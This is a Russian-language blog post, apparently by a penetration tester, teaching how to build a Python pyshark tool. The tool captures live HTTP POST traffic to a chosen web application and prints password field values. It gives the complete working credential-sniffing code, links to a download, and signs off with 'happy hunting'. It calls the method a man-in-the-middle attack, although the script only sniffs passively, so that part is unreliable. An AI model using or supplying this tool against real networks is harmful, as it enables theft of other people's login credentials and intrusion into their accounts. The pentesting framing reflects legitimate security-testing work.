Р. Эрик Кисер
При проведении тестирования на проникновение обычно проводится тестирование безопасности для веб-приложений. Я испытываю волнение, когда сталкиваюсь с внутренними веб-приложениями, поскольку они, как правило, менее безопасны. Кроме того, пользователи склонны повторно использовать пароли в нескольких приложениях, что позволяет перемещаться в горизонтальном направлении после получения учетных данных. В этой статье я покажу, как разработать инструмент Python, который выполняет атаку «человек посередине» и фильтрует пакеты для извлечения информации для входа.
Единственный модуль, который понадобится, это pyshark. Pyshark — это модуль Python, который предоставляет интерфейс к инструменту захвата и анализа пакетов Wireshark. Это позволяет вам захватывать, анализировать и анализировать сетевой трафик в реальном времени с помощью скрипта Python.
import pyshark
Мы хотим запросить адрес веб-приложения и имя поля. Имя поля обычно password
. Первые две строки используют встроенную в Python функцию input()
, чтобы предложить ввести адрес веб-приложения и имя поля для поиска:
# Prompt for the web application address web_app_address = input("Enter the web application address: ") # Prompt for the field name to search for field_name = input("Enter the field name to search for: ")
Далее нам нужно захватить сетевой трафик и отфильтровать его для POST-запроса к веб-приложению. Для этого нам нужно создать объект захвата. Параметр interface
указывает сетевой интерфейс для захвата трафика (в данном случае eth0
), а параметр display_filter
указывает выражение фильтра в стиле Wireshark, применяемое к захваченным пакетам. В этом случае мы отфильтровываем пакеты с методом HTTP-запроса POST и заголовком Host
, соответствующим указанному адресу веб-приложения.
# Create a Pyshark capture object capture = pyshark.LiveCapture(interface='eth0', display_filter='http.request.method == "POST" and http.host == "' + web_app_address + '"')
Теперь мы готовы обнюхивать трафик. Эта строка запускает захват с использованием метода sniff()
объекта LiveCapture
. Параметр timeout
указывает, как долго должен выполняться захват в секундах. В данном случае мы фиксируем трафик в течение 1800 секунд или 30 минут.
# Start the capture capture.sniff(timeout=1800)
Последний раздел скрипта будет перебирать захваченные пакеты и выводить значение поля на экран. Мы используем простой цикл for
для перебора захваченных пакетов и поиска указанного имени поля в данных POST. Если имя поля найдено, скрипт извлекает значение поля и выводит его на экран:
# Loop through the captured packets and print the field value to the screen for packet in capture: try: if packet.http.request_method == 'POST': if field_name.lower() in packet.http.request_body.lower(): field_value = packet.http.request_body.split(field_name + '=')[1].split('&')[0] print(field_name.capitalize() + ': ', field_value) except AttributeError: pass
Заключение
Теперь все, что вам нужно сделать, это дождаться подходящего момента для захвата пакетов, и он выведет на экран только указанное поле. Скачать скрипт можно на моем GitHub. Хлопайте и следуйте, если хотите, и удачной охоты!
- GitHub Прямая ссылка:
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/HTTPDecrypt.py - Смотрите, чем я занимаюсь в Твиттере: https://twitter.com/R_Eric_Kiser